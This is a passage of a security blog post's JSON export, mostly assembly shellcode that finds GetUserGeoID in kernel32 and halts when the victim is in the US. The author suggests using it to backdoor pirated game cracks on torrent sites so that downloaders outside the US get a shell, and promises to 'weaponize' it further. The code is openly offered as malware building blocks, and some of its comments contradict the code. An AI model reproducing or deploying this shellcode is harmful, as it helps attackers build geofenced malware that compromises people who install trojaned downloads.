font-weight: bold;\">nomatch:<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ax<\/span>,<span style=\"color: #0000dd; font-weight: bold;\">2224<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">esp<\/span>, <span style=\"color: #007020;\">eax<\/span>\t\t<span style=\"color: #888888;\">; clear the stack<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">ebp<\/span> \t\t<span style=\"color: #888888;\">; restore all registers and exit<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">edi<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">esi<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">edx<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">ecx<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">ebx<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">eax<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">esp<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">ret<\/span>\n\n<span style=\"color: #0066bb; font-weight: bold;\">end<\/span> <span style=\"color: #996633;\">start<\/span>\n<\/pre>\n<\/div>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/ccc.png\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-1609\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/ccc.png\" alt=\"\" width=\"735\" height=\"368\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/ccc.png 735w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/ccc-300x150.png 300w\" sizes=\"(max-width: 735px) 100vw, 735px\" \/><\/a> Fits snugly in there.<\/p>\n<p>If you were really evil, you could backdoor torrent files with this code so it only runs in certain countries. Say you backdoor the program to only work outside of the US of A, then distribute it on torrent sites as a crack for some game, piggybacking on some other crack? Everyone in the States has no problem. Everywhere else? Shell city!<\/p>\n<p><\/p>\n<p>I talked about just that <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/06\/Backdooring-Torrents.pdf\">here.<\/a><\/p>\n<p><\/p>\n<p>This next one checks the GeoID. Again, no shellcode exists on MSF, so we roll our own.<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow: auto; width: auto; border: solid gray; border-width: .1em .1em .1em .8em; padding: .2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%;\">      <span style=\"color: #0066bb; font-weight: bold;\">.486<\/span>\n      <span style=\"color: #0066bb; font-weight: bold;\">.model<\/span> <span style=\"color: #996633;\">flat<\/span>, <span style=\"color: #996633;\">stdcall<\/span>\n      <span style=\"color: #0066bb; font-weight: bold;\">option<\/span> <span style=\"color: #996633;\">casemap<\/span> :<span style=\"color: #996633;\">none<\/span>\n      <span style=\"color: #0066bb; font-weight: bold;\">ASSUME<\/span> <span style=\"color: #007020;\">FS<\/span>:<span style=\"color: #996633;\">NOTHING<\/span>\n      <span style=\"color: #0066bb; font-weight: bold;\">.code<\/span>\n<span style=\"color: #997700; font-weight: bold;\">start:<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">eax<\/span> <span style=\"color: #888888;\">; Save all registers<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ebx<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ecx<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">edx<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">esi<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">edi<\/span>\n        <span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ebp<\/span>\n\n\t<span style=\"color: #888888;\">; Establish a new stack frame<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">ebp<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebp<\/span>, <span style=\"color: #007020;\">esp<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">sub<\/span> <span style=\"color: #007020;\">esp<\/span>, <span style=\"color: #005588; font-weight: bold;\">79h<\/span> \t\t\t<span style=\"color: #888888;\">; Allocate memory on stack for local variables<\/span>\n\n\t<span style=\"color: #888888;\">; push the function name on the stack<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">esi<\/span>, <span style=\"color: #007020;\">esi<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #007020;\">esi<\/span>\t\t\t<span style=\"color: #888888;\">; null termination<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">pushw<\/span> <span style=\"color: #005588; font-weight: bold;\">4449h<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">pushw<\/span> <span style=\"color: #005588; font-weight: bold;\">6f65h<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #005588; font-weight: bold;\">47726573h<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #005588; font-weight: bold;\">55746547h<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>], <span style=\"color: #007020;\">esp<\/span> \t\t<span style=\"color: #888888;\">; swapped to GetUserGeoID<\/span>\n\n\t<span style=\"color: #888888;\">; Find kernel32.dll base address<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">esi<\/span>, <span style=\"color: #007020;\">esi<\/span>\t\t\t<span style=\"color: #888888;\">; esi = 0<\/span>\n    <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, <span style=\"color: #333399; font-weight: bold;\">dword<\/span> <span style=\"color: #996633;\">ptr<\/span> <span style=\"color: #007020;\">fs<\/span>:[<span style=\"color: #005588; font-weight: bold;\">30h<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #007020;\">esi<\/span>]  \t<span style=\"color: #888888;\">; written this way to avoid null bytes<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #0000dd; font-weight: bold;\">12<\/span>] \n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #0000dd; font-weight: bold;\">20<\/span>] \n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span>]\t\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span>]\t\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ebx<\/span>, [<span style=\"color: #007020;\">ebx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #0000dd; font-weight: bold;\">16<\/span>]\t\t<span style=\"color: #888888;\">; ebx holds kernel32.dll base address<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">8<\/span>], <span style=\"color: #007020;\">ebx<\/span> \t\t<span style=\"color: #888888;\">; var8 = kernel32.dll base address<\/span>\n\n\t<span style=\"color: #888888;\">; Find WinExec address<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">eax<\/span>, [<span style=\"color: #007020;\">ebx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">3Ch<\/span>]\t\t<span style=\"color: #888888;\">; RVA of PE signature<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">ebx<\/span>       \t\t<span style=\"color: #888888;\">; Address of PE signature = base address + RVA of PE signature<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">eax<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">78h<\/span>]\t\t<span style=\"color: #888888;\">; RVA of Export Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t\t<span style=\"color: #888888;\">; Address of Export Table<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ecx<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">24h<\/span>]\t\t<span style=\"color: #888888;\">; RVA of Ordinal Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">ecx<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t\t<span style=\"color: #888888;\">; Address of Ordinal Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">0Ch<\/span>], <span style=\"color: #007020;\">ecx<\/span> \t\t<span style=\"color: #888888;\">; var12 = Address of Ordinal Table<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edi<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">20h<\/span>] \t\t<span style=\"color: #888888;\">; RVA of Name Pointer Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">edi<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t\t<span style=\"color: #888888;\">; Address of Name Pointer Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">10h<\/span>], <span style=\"color: #007020;\">edi<\/span> \t\t<span style=\"color: #888888;\">; var16 = Address of Name Pointer Table<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edx<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">1Ch<\/span>] \t\t<span style=\"color: #888888;\">; RVA of Address Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">edx<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t\t\t<span style=\"color: #888888;\">; Address of Address Table<\/span>\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">14h<\/span>], <span style=\"color: #007020;\">edx<\/span> \t\t<span style=\"color: #888888;\">; var20 = Address of Address Table<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edx<\/span>, [<span style=\"color: #007020;\">eax<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #005588; font-weight: bold;\">14h<\/span>] \t\t<span style=\"color: #888888;\">; Number of exported functions<\/span>\n\n\t<span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">eax<\/span> \t\t\t<span style=\"color: #888888;\">; counter = 0<\/span>\n\n\t<span style=\"color: #997700; font-weight: bold;\">myloop:<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edi<\/span>, [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">10h<\/span>] \t<span style=\"color: #888888;\">; edi = var16 = Address of Name Pointer Table<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">esi<\/span>, [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>] \t<span style=\"color: #888888;\">; esi = var4 = \"GetUserGeoID\\x00\"<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">ecx<\/span>, <span style=\"color: #007020;\">ecx<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">cld<\/span>  \t\t\t<span style=\"color: #888888;\">; set DF=0 =&gt; process strings from left to right<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edi<\/span>, [<span style=\"color: #007020;\">edi<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #007020;\">eax<\/span><span style=\"color: #333333;\">*<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>]\t<span style=\"color: #888888;\">; Entries in Name Pointer Table are 4 bytes long<\/span>\n\t        \t\t\t<span style=\"color: #888888;\">; edi = RVA Nth entry = Address of Name Table * 4<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">edi<\/span>, <span style=\"color: #007020;\">ebx<\/span>       \t<span style=\"color: #888888;\">; edi = address of string = base address + RVA Nth entry<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">cx<\/span>, <span style=\"color: #0000dd; font-weight: bold;\">13<\/span> \t\t<span style=\"color: #888888;\">; Length of strings to compare (len('GetUserGeoID') = 23)<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">repe<\/span> <span style=\"color: #996633;\">cmpsb<\/span>        \t<span style=\"color: #888888;\">; Compare the first 8 bytes of strings in <\/span>\n\t        \t\t\t<span style=\"color: #888888;\">; esi and edi registers. ZF=1 if equal, ZF=0 if not<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">jz<\/span> <span style=\"color: #996633;\">found<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">inc<\/span> <span style=\"color: #007020;\">eax<\/span> \t\t<span style=\"color: #888888;\">; counter++<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">cmp<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">edx<\/span>    \t<span style=\"color: #888888;\">; check if last function is reached<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">jb<\/span> <span style=\"color: #996633;\">myloop<\/span> \t\t<span style=\"color: #888888;\">; if not the last -&gt; loop<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">esp<\/span>, <span style=\"color: #005588; font-weight: bold;\">26h<\/span>      \t\t\n\t        <span style=\"color: #0066bb; font-weight: bold;\">jmp<\/span> <span style=\"color: #996633;\">myend<\/span> \t\t<span style=\"color: #888888;\">; if function is not found, jump to end<\/span>\n\n\t<span style=\"color: #997700; font-weight: bold;\">found:<\/span>\n\t\t<span style=\"color: #888888;\">; the counter (eax) now holds the position of WinExec<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ecx<\/span>, [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">0Ch<\/span>]\t<span style=\"color: #888888;\">; ecx = var12 = Address of Ordinal Table<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">edx<\/span>, [<span style=\"color: #007020;\">ebp<\/span><span style=\"color: #333333;\">-<\/span><span style=\"color: #005588; font-weight: bold;\">14h<\/span>]  \t<span style=\"color: #888888;\">; edx = var20 = Address of Address Table<\/span>\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">ax<\/span>, [<span style=\"color: #007020;\">ecx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #007020;\">eax<\/span><span style=\"color: #333333;\">*<\/span><span style=\"color: #0000dd; font-weight: bold;\">2<\/span>] \t<span style=\"color: #888888;\">; ax = ordinal number = var12 + (counter * 2)<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">mov<\/span> <span style=\"color: #007020;\">eax<\/span>, [<span style=\"color: #007020;\">edx<\/span> <span style=\"color: #333333;\">+<\/span> <span style=\"color: #007020;\">eax<\/span><span style=\"color: #333333;\">*<\/span><span style=\"color: #0000dd; font-weight: bold;\">4<\/span>] \t<span style=\"color: #888888;\">; eax = RVA of function = var20 + (ordinal * 4)<\/span>\n\t        <span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">eax<\/span>, <span style=\"color: #007020;\">ebx<\/span> \t<span style=\"color: #888888;\">; eax = address of GetUserGeoID = <\/span>\n\t        \t\t<span style=\"color: #888888;\">; = kernel32.dll base address + RVA of <\/span>GetUserGeoID\n\n\t        <span style=\"color: #0066bb; font-weight: bold;\">xor<\/span> <span style=\"color: #007020;\">edx<\/span>, <span style=\"color: #007020;\">edx<\/span>\n\t\t\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">push<\/span> <span style=\"color: #005588; font-weight: bold;\">10h<\/span>  \t\t<span style=\"color: #888888;\">; only needs 1 param<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">call<\/span> <span style=\"color: #007020;\">eax<\/span> \t\t<span style=\"color: #888888;\">; GetUserGeoID<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">cmp<\/span> <span style=\"color: #007020;\">al<\/span>,<span style=\"color: #0000dd; font-weight: bold;\">244<\/span>\t\t<span style=\"color: #888888;\">; america, fuck yeah!<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">je<\/span> <span style=\"color: #996633;\">notfound<\/span>\n\t\t<span style=\"color: #008800; font-weight: bold;\">db<\/span> <span style=\"color: #0000dd; font-weight: bold;\">235<\/span>\t\t\t<span style=\"color: #888888;\">; EB FE<\/span>\n\t\t<span style=\"color: #008800; font-weight: bold;\">db<\/span> <span style=\"color: #0000dd; font-weight: bold;\">254<\/span>\n\t\t<span style=\"color: #997700; font-weight: bold;\">notfound:<\/span>\n\t\t\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">add<\/span> <span style=\"color: #007020;\">esp<\/span>, <span style=\"color: #005588; font-weight: bold;\">79h<\/span><span style=\"color: #888888;\">;46h\t\t; clear the stack<\/span>\n\n\t<span style=\"color: #997700; font-weight: bold;\">myend:<\/span>\n\t\t\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">ebp<\/span> \t\t<span style=\"color: #888888;\">; restore all registers and exit<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">edi<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">esi<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">edx<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">ecx<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">ebx<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">eax<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">pop<\/span> <span style=\"color: #007020;\">esp<\/span>\n\t\t<span style=\"color: #0066bb; font-weight: bold;\">ret<\/span>\n\n<span style=\"color: #0066bb; font-weight: bold;\">end<\/span> <span style=\"color: #996633;\">start<\/span>\n<\/pre>\n<\/div>\n\n\n<p>As you can see, if I can figure it out, anyone can.<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"636\" height=\"338\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/07\/Jurassic.Park1993DvDrip-aXXo.avi_snapshot_01.50.02_2016.09.08_11.53.27.jpg\" alt=\"\" class=\"wp-image-1638\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/07\/Jurassic.Park1993DvDrip-aXXo.avi_snapshot_01.50.02_2016.09.08_11.53.27.jpg 636w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/07\/Jurassic.Park1993DvDrip-aXXo.avi_snapshot_01.50.02_2016.09.08_11.53.27-300x159.jpg 300w\" sizes=\"(max-width: 636px) 100vw, 636px\" \/><\/figure>\n\n\n\n<p>This was a quick and easy writeup. I have more crap to cover still &#8211; stuff like rolling my own shellcode encryption, running your own (evil) DNS server, playing with race conditions on windows and perhaps weaponizing \/ making use of the aforementioned shellcode for more hilarious (or evil?) purposes. More to come soon.<\/p>\n\n\n\n<p>Stay tuned!<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"912\" height=\"608\" src=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/07\/1538619560713.jpg\" alt=\"\" class=\"wp-image-1637\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/07\/1538619560713.jpg 912w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/07\/1538619560713-300x200.jpg 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2019\/07\/1538619560713-768x512.jpg 768w\" sizes=\"(max-width: 912px) 100vw, 912px\" \/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Maybe we&#8217;re all a little black hat at times &#8211; you have to bend the rules to get things done sometimes.I thought of a couple kinds of shellcode &#8211; basically checking to see if the user is in a particular country or timezone.The concept of weaponizing shellcode is nothing new. This is just more fuel [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6],"tags":[119],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1608"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1608"}],"version-history":[{"count":3,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1608\/revisions"}],"predecessor-version":[{"id":1639,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1608\/revisions\/1639"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1608"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1608"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1608"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}